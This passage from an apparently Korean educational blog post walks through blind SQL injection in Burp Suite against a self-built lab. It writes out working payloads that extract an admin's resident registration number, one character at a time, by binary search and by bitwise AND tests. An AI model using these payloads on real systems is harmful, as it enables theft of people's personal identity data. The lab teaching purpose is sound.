idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))>45 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다.
idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))>47 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다.
idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))>48 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 거짓이 나온다. → 47초과 48이하인 숫자, 48이 정답이다.
48을 대입한다.
idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))=48 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다. → 아스키코드 48 = 십진수 0
MySQL에서 아스키코드 48을 십진수로 변환하면 0이 나온다.
select char(48);
이를 통해 admin의 세번째 주민번호가 0임을 알 수 있다.
이진탐색은 탐색할 문자와 아스키코드의 크기를 계속 비교하여 추론하면 된다.
현재까지 확인된 주민번호: 810XXX-XXXXXXX
지속적으로 이진탐색을 활용하여 다음 주민번호까지 확인되었다.
810203-XXXXXXX
비트연산을 활용하여 주민번호를 탐색해본다.
아스키코드는 기존과 같이 그대로 활용하며, &를 사용하여 1,2,4,8,16,32 등 이진수의 각 자리수 숫자와 AND 비트연산을 한다. → 주민번호는 숫자로 아스키코드 57까지만 확인하면 되므로 64는 AND 비트연산할 필요가 없다
idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&1 → 참
idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&2 → 거짓
idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&4 → 거짓
idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&8 → 거짓
idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&16 → 참
idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&32 → 참
참이 나온 결과값들을 더해서 십진수로 변환해준다.
1+16+32 = 49 → 십진수 1
이런식으로 주민번호와 각 이진수 자리 숫자를 AND 비트연산하여 참과 거짓 응답을 확인하여 아스키코드 숫자를 더해서 십진수로 변환한다.
나머지 주민번호를 AND 비트연산으로 추론한 결과 admin의 주민번호는 다음과 같다
810203-1023113
MySQL 에서 customer_info 테이블의 admin의 주민번호를 확인해본다.
select * from customer_info;
select jumin from customer_info where id='admin';
Blind-Based 공격으로 추론한 admin의 주민번호와 customer_info 테이블의 admin 주민번호가 일치하는 것을 알 수 있다.
버프스위트 리피터에서 아래와 같이 서버로 요청을 전송하면 참인 결과가 확인된다.
idx=10 and substring((select jumin from customer_info where id='admin'),1,14)='810203-1023113'
참고
'웹 해킹 > 웹 해킹 및 시큐어 코딩 기초' 카테고리의 다른 글
버프 스위트(Burp Suite) 설치 및 사용법 (0) | 2024.11.26 |
---|---|
웹 해킹에 대한 이해 (0) | 2024.11.23 |
취약 환경 구축 (0) | 2024.11.22 |